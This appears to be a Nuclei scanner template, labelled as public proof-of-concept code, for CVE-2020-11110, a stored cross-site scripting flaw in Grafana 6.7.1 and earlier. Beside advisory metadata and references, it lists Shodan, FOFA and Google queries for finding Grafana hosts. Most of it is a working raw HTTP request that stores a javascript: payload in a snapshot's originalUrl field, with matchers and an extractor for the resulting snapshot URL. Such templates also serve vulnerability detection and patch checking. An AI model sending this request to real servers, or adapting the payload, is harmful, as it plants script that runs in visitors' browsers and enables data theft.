Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
PoC代码[已公开]
id: CVE-2020-11110
info:
name: Grafana <= 6.7.1 - Cross-Site Scripting
author: emadshanab
severity: medium
description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
remediation: This issue can be resolved by updating Grafana to the latest version.
reference:
- https://github.com/grafana/grafana/pull/23254
- https://security.netapp.com/advisory/ntap-20200810-0002/
- https://nvd.nist.gov/vuln/detail/CVE-2020-11110
- https://hackerone.com/reports/1329433
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2020-11110
cwe-id: CWE-79
epss-score: 0.64122
epss-percentile: 0.98384
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: grafana
product: grafana
shodan-query:
- title:"Grafana"
- cpe:"cpe:2.3:a:grafana:grafana"
- http.title:"grafana"
fofa-query:
- title="grafana"
- app="grafana"
google-query: intitle:"grafana"
tags: cve2020,cve,xss,grafana,hackerone
http:
- raw:
- |
POST /api/snapshots HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: {{BaseURL}}
content-type: application/json
Connection: close
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
matchers-condition: and
matchers:
- type: word
part: header
words:
- application/json
- type: word
part: body
words:
- '"deleteKey":'
- '"deleteUrl":'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
group: 1
regex:
- '"url":"([a-z:/0-9A-Z]+)"'
part: body
# digest: 4a0a004730450220610ef5c6b8a543e2bc9da7e40bfe71243ac52b67ee869d241f01375aac67a729022100cd48141e9e81196a997b6f1f94f84a568e87df473aec5770ea2e007abf8ebb1d:922c64590222798bb761d5b6d8e72950